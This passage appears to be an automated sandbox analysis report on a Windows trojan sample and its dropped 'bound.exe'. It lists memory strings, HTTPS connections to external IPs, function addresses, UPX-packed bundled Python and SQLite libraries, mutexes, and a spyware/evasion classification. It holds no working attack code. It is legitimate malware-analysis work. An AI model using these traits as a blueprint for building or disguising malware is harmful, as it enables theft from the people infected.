Source: bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nodejs.org
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474254395.00007FF8E6C8A000.00000004.00000001.01000000.0000000F.sdmp, libcrypto-3.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5EFB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc825
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E1F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 172.67.203.125:443 -> 192.168.2.9:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.203.125:443 -> 192.168.2.9:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.4:443 -> 192.168.2.9:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.9:49809 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD089E0	0_2_00007FF7EAD089E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD26964	0_2_00007FF7EAD26964
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD01000	0_2_00007FF7EAD01000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD25C00	0_2_00007FF7EAD25C00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD23C10	0_2_00007FF7EAD23C10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD12C10	0_2_00007FF7EAD12C10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD11B50	0_2_00007FF7EAD11B50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0ACAD	0_2_00007FF7EAD0ACAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0A474	0_2_00007FF7EAD0A474
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD26418	0_2_00007FF7EAD26418
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD208C8	0_2_00007FF7EAD208C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD139A4	0_2_00007FF7EAD139A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD12164	0_2_00007FF7EAD12164
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD11944	0_2_00007FF7EAD11944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0A2DB	0_2_00007FF7EAD0A2DB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD1DA5C	0_2_00007FF7EAD1DA5C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD09800	0_2_00007FF7EAD09800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD18794	0_2_00007FF7EAD18794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD11F60	0_2_00007FF7EAD11F60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD11740	0_2_00007FF7EAD11740
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD29728	0_2_00007FF7EAD29728
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD180E4	0_2_00007FF7EAD180E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD208C8	0_2_00007FF7EAD208C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD240AC	0_2_00007FF7EAD240AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD21874	0_2_00007FF7EAD21874
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD135A0	0_2_00007FF7EAD135A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD1E570	0_2_00007FF7EAD1E570
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD11D54	0_2_00007FF7EAD11D54
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD15D30	0_2_00007FF7EAD15D30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD1DEF0	0_2_00007FF7EAD1DEF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD19EA0	0_2_00007FF7EAD19EA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD25E7C	0_2_00007FF7EAD25E7C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD26964	2_2_00007FF7EAD26964
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD01000	2_2_00007FF7EAD01000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD25C00	2_2_00007FF7EAD25C00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD23C10	2_2_00007FF7EAD23C10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD12C10	2_2_00007FF7EAD12C10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD11B50	2_2_00007FF7EAD11B50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0ACAD	2_2_00007FF7EAD0ACAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0A474	2_2_00007FF7EAD0A474
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD26418	2_2_00007FF7EAD26418
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD208C8	2_2_00007FF7EAD208C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD089E0	2_2_00007FF7EAD089E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD139A4	2_2_00007FF7EAD139A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD12164	2_2_00007FF7EAD12164
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD11944	2_2_00007FF7EAD11944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD0A2DB	2_2_00007FF7EAD0A2DB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD1DA5C	2_2_00007FF7EAD1DA5C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD09800	2_2_00007FF7EAD09800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD18794	2_2_00007FF7EAD18794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD11F60	2_2_00007FF7EAD11F60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD11740	2_2_00007FF7EAD11740
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD29728	2_2_00007FF7EAD29728
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD180E4	2_2_00007FF7EAD180E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD208C8	2_2_00007FF7EAD208C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD240AC	2_2_00007FF7EAD240AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD21874	2_2_00007FF7EAD21874
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD135A0	2_2_00007FF7EAD135A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD1E570	2_2_00007FF7EAD1E570
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD11D54	2_2_00007FF7EAD11D54
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD15D30	2_2_00007FF7EAD15D30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD1DEF0	2_2_00007FF7EAD1DEF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD19EA0	2_2_00007FF7EAD19EA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD25E7C	2_2_00007FF7EAD25E7C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E6C89060	2_2_00007FF8E6C89060
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E75333C0	2_2_00007FF8E75333C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A10350	2_2_00007FF8E7A10350
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7961300	2_2_00007FF8E7961300
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7962270	2_2_00007FF8E7962270
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7961950	2_2_00007FF8E7961950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A98870	2_2_00007FF8E7A98870
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A28720	2_2_00007FF8E7A28720
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A2116D	2_2_00007FF8E7A2116D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A216FE	2_2_00007FF8E7A216FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21D93	2_2_00007FF8E7A21D93
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A22702	2_2_00007FF8E7A22702
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A2117C	2_2_00007FF8E7A2117C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21B54	2_2_00007FF8E7A21B54
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A2149C	2_2_00007FF8E7A2149C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21CBC	2_2_00007FF8E7A21CBC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A9AC80	2_2_00007FF8E7A9AC80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21A0F	2_2_00007FF8E7A21A0F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A22617	2_2_00007FF8E7A22617
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21618	2_2_00007FF8E7A21618
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A58920	2_2_00007FF8E7A58920
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21EE2	2_2_00007FF8E7A21EE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21654	2_2_00007FF8E7A21654
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A213DE	2_2_00007FF8E7A213DE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A221C6	2_2_00007FF8E7A221C6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A93650	2_2_00007FF8E7A93650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21C12	2_2_00007FF8E7A21C12
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A217F8	2_2_00007FF8E7A217F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A8D2D0	2_2_00007FF8E7A8D2D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A224DC	2_2_00007FF8E7A224DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A46030	2_2_00007FF8E7A46030
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21AD7	2_2_00007FF8E7A21AD7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21546	2_2_00007FF8E7A21546
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A6DE50	2_2_00007FF8E7A6DE50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A221E4	2_2_00007FF8E7A221E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21FDC	2_2_00007FF8E7A21FDC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A65C00	2_2_00007FF8E7A65C00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A2155A	2_2_00007FF8E7A2155A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A4BAE0	2_2_00007FF8E7A4BAE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7AE7A20	2_2_00007FF8E7AE7A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A69A60	2_2_00007FF8E7A69A60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A6D980	2_2_00007FF8E7A6D980
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A21596	2_2_00007FF8E7A21596
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80E1F40	2_2_00007FF8E80E1F40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80D11E0	2_2_00007FF8E80D11E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80D1E20	2_2_00007FF8E80D1E20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80F8734	2_2_00007FF8E80F8734
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80FBF74	2_2_00007FF8E80FBF74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E81079A8	2_2_00007FF8E81079A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E8121C00	2_2_00007FF8E8121C00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80F5CBC	2_2_00007FF8E80F5CBC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E80F54E8	2_2_00007FF8E80F54E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E81471D0	2_2_00007FF8E81471D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E8131091	2_2_00007FF8E8131091
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E8133E40	2_2_00007FF8E8133E40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E81310C0	2_2_00007FF8E81310C0
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF886766DB0	17_2_00007FF886766DB0
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF886772540	17_2_00007FF886772540

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A9D425 appears 48 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E8139598 appears 326 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF7EAD02910 appears 34 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E81394E8 appears 38 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF7EAD02710 appears 104 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E80FEB58 appears 49 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A21325 appears 518 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E80FEC88 appears 68 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A9D341 appears 1189 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A9D33B appears 39 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A9D32F appears 324 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: String function: 00007FF8E7A9DB03 appears 45 times

Source: C:\Users\user\AppData\Local\Temp\bound.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7976 -s 2228

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libcrypto-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9991990186771459
Source: libssl-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923211348684211
Source: python313.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9994153529876473
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9975483390549273
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9926987474437627

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@43/44@7/5

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Mutant created: \Sessions\1\BaseNamedObjects\X
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
